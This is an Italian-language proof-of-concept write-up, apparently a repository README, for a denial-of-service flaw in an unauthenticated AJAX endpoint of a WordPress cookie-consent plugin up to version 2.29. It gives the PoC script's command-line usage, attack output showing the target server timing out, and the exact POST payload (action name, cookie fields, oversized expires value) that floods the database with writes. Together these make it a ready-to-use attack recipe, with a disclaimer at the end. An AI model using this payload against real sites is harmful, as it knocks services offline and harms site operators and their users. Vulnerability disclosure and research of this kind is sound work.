
Controllo degli accessi non corretto nella funzionalità dell'endpoint AJAX nel plugin Cookies and Content Security Policy di jonkastonka fino alla versione 2.29
Un controllo degli accessi errato nella funzionalità dell'endpoint AJAX nel plugin Cookies and Content Security Policy di jonkastonka fino alla versione 2.29 consente ad attaccanti remoti di causare una negazione del servizio (esaurimento delle risorse del server di database) tramite operazioni di scrittura illimitate sul database verso l'endpoint wp_ajax_nopriv_cacsp_insert_consent_data.
La vulnerabilità è presente nella funzione cacsp_insert_consent_data(), esposta tramite l'endpoint AJAX di WordPress (wp-admin/admin-ajax.php) senza requisiti di autenticazione. Il plugin utilizza l'azione wp_ajax_nopriv_, rendendola accessibile a utenti non autenticati.
Vettore d'attacco: gli attaccanti remoti possono inviare richieste POST concorrenti illimitate per sovraccaricare il server di database con operazioni di scrittura, causando l'esaurimento di CPU e I/O su disco.
requestsmatplotlibthreadingL'utilizzo di base dello script PoC è il seguente:
python payload.py --target <target_url> --threads <number_of_threads>
Per impostazione predefinita, il numero di thread è impostato a 100. È possibile specificare un numero diverso di thread fornendolo come secondo argomento.

Target WordPress URL (https://example.com): https://vulnerable-site.com
Number of threads (default 100):
Launching DoS attack with 100 threads...
Press Ctrl+C to stop the attack
[19:41:20] ✓ Status: 200 | Response time: 538.3ms | DB: 0.00MB (1 rows, 351b/row)
[19:41:20] ✓ Status: 200 | Response time: 554.51ms | DB: 0.00MB (2 rows, 351b/row)
[19:41:20] ✓ Status: 200 | Response time: 522.29ms | DB: 0.00MB (3 rows, 351b/row)
[19:41:20] ✓ Status: 200 | Response time: 498.72ms | DB: 0.00MB (4 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 946.94ms | DB: 0.00MB (5 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 858.41ms | DB: 0.00MB (6 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 922.29ms | DB: 0.00MB (7 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 991.41ms | DB: 0.00MB (8 rows, 351b/row)
...
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
L'exploit invia richieste POST a /wp-admin/admin-ajax.php con:
data = {
'action': 'cacsp_insert_consent_data',
'accepted_cookies': 'necessary,experience,analytics,marketing',
'expires': "9" * 255 # Maximum TINYTEXT length
}
Ogni richiesta riuscita inserisce una nuova riga nel database contenente:
Risultato: ~89 byte per richiesta × richieste illimitate = rapida crescita del database
Questo PoC ha solo scopi educativi. L'autore non è responsabile per qualsiasi uso improprio o danno causato dall'utilizzo di questo codice. Ottenere sempre l'autorizzazione prima di testare qualsiasi sistema.